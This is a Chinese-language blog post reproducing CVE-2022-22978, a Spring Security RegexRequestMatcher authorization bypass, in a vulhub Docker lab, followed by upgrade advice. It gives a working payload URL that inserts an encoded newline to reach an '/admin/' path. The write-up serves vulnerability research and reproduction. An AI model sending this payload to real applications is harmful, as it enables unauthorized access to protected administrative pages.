CVE-2022-22978:RegexRequestMatcher 中的 Spring Security 授权绕过


前言

特此声明:本文仅供安全研究与学习之用,禁止一切危害网络安全行为及其他途径,由使用者承担全部法律及连带责任,作者本人和团队不承担任何法律及连带责任。

Spring Security是一个功能强大且高度可定制的身份验证和访问控制框架。

在 Spring Security 5.5.6 和 5.6.3 以及不受支持的旧版本中,RegexRequestMatcher 很容易被错误配置为在某些 servlet 容器上被绕过。


一、影响版本:

Spring Security 5.5.x < 5.5.7

Spring Security 5.6.x < 5.6.4

以及其它不受支持的旧版本。

二、环境搭建:vulhub

cd /spring/CVE-2022-22978

运行

docker-compose up -d

三、漏洞复现:

漏洞地址:http://ip:8080/admin/

四、产生原因:

是由于正则发生了问题,可以通过在 URL 中加入换行符( `r` 或 `n` )来绕过。(\r的url编码为%0d,\n的url编码为%0a)

Payload:http://192.168.49.135:8080/admin/%0a-cc

五、复现成功页面:

结束服务:

docker-compose down

六、修复建议:

目前此漏洞已经修复,建议受影响用户升级更新到以下修复版本,修复链接自行官网。

更多精彩文章 欢迎关注我们,或者移步微信公众号cclhlwork

后续会酌情陆续开放微信小程序社区、博客地址、知识星球等等相关内容分享地址。
 

注:对文章如有任何疑问,请在微信公众号后台发送“运营小姐姐”。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值